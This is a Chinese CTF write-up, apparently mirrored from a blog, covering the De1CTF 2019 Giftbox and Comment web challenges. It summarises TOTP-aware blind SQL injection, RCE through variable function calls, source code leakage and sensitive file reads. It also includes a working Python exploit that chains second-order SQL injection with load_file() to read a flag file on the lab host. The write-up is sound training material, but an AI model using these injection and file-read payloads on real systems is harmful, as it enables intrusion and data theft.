zoukankan      html  css  js  c++  java
  • 刷题记录:[De1CTF 2019]Giftbox && Comment

    刷题记录:[De1CTF 2019]Giftbox && Comment

    题目复现链接:https://buuoj.cn/challenges
    参考链接:De1CTF Web WriteUp
    BUUCTF平台 web writeup 第三弹

    一、知识点

    1、sql注入 && totp

    totp

    TOTP算法(Time-based One-time Password algorithm)是一种从共享密钥和当前时间计算一次性密码的算法。 它已被采纳为Internet工程任务组标准RFC 6238,是Initiative for Open Authentication(OATH)的基石,并被用于许多双因素身份验证系统。
    TOTP是基于散列的消息认证码(HMAC)的示例。 它使用加密哈希函数将密钥与当前时间戳组合在一起以生成一次性密码。 由于网络延迟和不同步时钟可能导致密码接收者必须尝试一系列可能的时间来进行身份验证,因此时间戳通常以30秒的间隔增加,从而减少了潜在的搜索空间。

    盲注时需要附上totp的值。这里学到另一个操作:在本地开个flask,负责转发消息到靶机,然后对本地服务跑sqlmap

    2、RCE

    {$a($b)}可以执行命令,a为函数名,b为参数。
    有个地方要注意的是/不能直接传入,要用chr()转。

    3、源码泄露

    “据我长期观察,50%的CTF题目打开都是一个登陆页面,而其中又有60%的可以用各种方式拿到源码” ——P神

    4、敏感文件读取

    • /etc/passwd 可以查看有没有什么多出来的用户或者别的提示
    • .bash_history 查看命令行历史操作

    附上comment的exp,正则学的太烂了

    import requests
    import random
    import re
    
    url = "http://3f0bfbea-efd6-4ea2-a298-7e51a05de258.node3.buuoj.cn"
    
    s = requests.session()
    
    
    def ran_str():
        string = ""
        for i in range(6):
            string += chr(random.randint(ord('A'), ord('Z')))
    
        return string
    
    
    def login():
        data = {
            "username": "zhangwei",
            "password": "zhangwei666"
        }
        s.post(url + "/login.php", data=data)
    
    
    def write(payload):
        ran_string = ran_str()
        data = {
            'title': ran_string,
            'category': "',content=("+payload+"),/*",
            'content': '1'
        }
        s.post(url + "/write_do.php?do=write", data=data)
        return ran_string
    
    
    def comment(id):
        data = {
            'content': "*/#",
            'bo_id': id
        }
        s.post(url + "/write_do.php?do=comment", data=data)
    
    
    def main():
        payload = "select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))"
        login()
        ran_string = write(payload)
        result = re.search("<tr><td>.*</td><td class='AutoNewline'>.*</td><td class='AutoNewline'>"+ran_string+"</td>", s.get(url).text)
        id = str(result.group(0).split('</td>')[0][8:])
        comment(id)
        result = re.split("<p>", s.get(url + "/comment.php?id=" + str(id)).text)[2]
        content = result[:result.index('</p>')]
        print(content)
    
    
    if __name__ == '__main__':
        main()
    
    
  • 相关阅读:
    NSString+URLEncoding
    编码解码
    RESTful架构理解
    jvm调优
    java大数据处理调优
    SQL 优化
    正确处理下载文件时HTTP头的编码问题(Content-Disposition)
    Spring 多媒体(文件上传)支持
    mybatis类型转换
    log4j Spring aop 注解的日志管理
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/11756606.html
Copyright © 2011-2022 走看看